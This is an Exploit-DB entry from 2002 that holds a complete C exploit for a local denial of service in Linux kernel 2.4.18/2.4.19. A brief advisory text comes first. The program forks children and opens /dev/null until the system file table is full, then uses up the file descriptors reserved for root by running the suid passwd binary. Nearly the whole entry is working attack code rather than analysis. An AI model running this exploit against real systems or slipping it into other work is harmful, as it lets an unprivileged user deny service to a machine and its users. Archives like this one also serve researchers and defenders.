Exploit-DB #21598
Description: Linux Kernel 2.4.18/2.4.19 - Privileged File Descriptor Resource Exhaustion (Denial of Service)
Type: dos
Platform: linux
Date: 2002-07-08
Author: Paul Starzetz

Exploit:
/*
source: https://www.securityfocus.com/bid/5178/info

The Linux kernel is a freely available, open source kernel originally written by Linus Torvalds. It is the core of all Linux distributions.

Recent versions of the Linux kernel include a collection of file descriptors which are reserved for usage by processes executing as the root user. By default, the size of this collection is set to 10 file descriptors.

It is possible for a local, non-privileged user to open all system file descriptors. The malicious user may then exhaust the pool of reserved descriptors by opening several common suid binaries, resulting in a denial of service condition. 
*/

#include <stdio.h>

#include <unistd.h>

#include <signal.h>

#include <fcntl.h>

#include <errno.h>







#define PREFORK 1

#define EXECBIN "/usr/bin/passwd"

#define FREENUM 18





static int fc = 0;

static int ec = 0;







void forkmore(int v)

{

    fc++;

}





void execmore(int v)

{

    ec++;

}





int main()

{

    int r, cn, pt[PREFORK];





    signal(SIGUSR1, &forkmore);

    signal(SIGUSR2, &execmore);

    printf("\n");



    for (cn = 0; cn < PREFORK; cn++) {

	if (!(r = fork())) {

	    printf("\npreforked child %d", cn);

	    fflush(stdout);

	    while (!ec) {

		usleep(100000);

	    }



	    printf("\nexecuting %s\n", EXECBIN);

	    fflush(stdout);



	    execl(EXECBIN, EXECBIN, NULL);



	    printf("\nwhat the fuck?");

	    fflush(stdout);

	    while (1)

		sleep(999999);

	    exit(1);

	} else

	    pt[cn] = r;

    }



    sleep(1);

    printf("\n\n");

    fflush(stdout);

    cn = 0;



    while (1) {

	fc = ec = 0;

	cn++;



	if (!(r = fork())) {

	    int cnt = 0, fd = 0, ofd = 0;



	    while (1) {

		ofd = fd;

		fd = open("/dev/null", O_RDWR);

		if (fd < 0) {

		    printf("errno %d ", errno);

		    printf("pid %d got %d files\n", getpid(), cnt);

		    fflush(stdout);



		    if (errno == ENFILE)

			kill(getppid(), SIGUSR2);

		    else

			kill(getppid(), SIGUSR1);



		    break;

		} else

		    cnt++;

	    }



	    ec = 0;



	    while (1) {

		usleep(100000);

		if (ec) {

		    printf("\nfreeing some file descriptors...\n");

		    fflush(stdout);

		    for (cn = 0; cn < FREENUM; cn++) {

			printf("\n pid %d closing %d", getpid(), ofd);

			close(ofd--);

		    }

		    ec = 0;

		    kill(getppid(), SIGUSR2);

		}

	    }



	} else {

	    while (!ec && !fc)

		usleep(100000);



	    if (ec) {

		printf("\n\nfile limit reached, eating some root's fd");

		fflush(stdout);



		sleep(1);

		ec = 0;

		kill(r, SIGUSR2);

		while (!ec)

		    sleep(1);



		for (cn = 0; cn < PREFORK; cn++)

		    kill(pt[cn], SIGUSR2);



		while (1) {

		    sleep(999999);

		}

	    }

	}

    }



    return 0;

}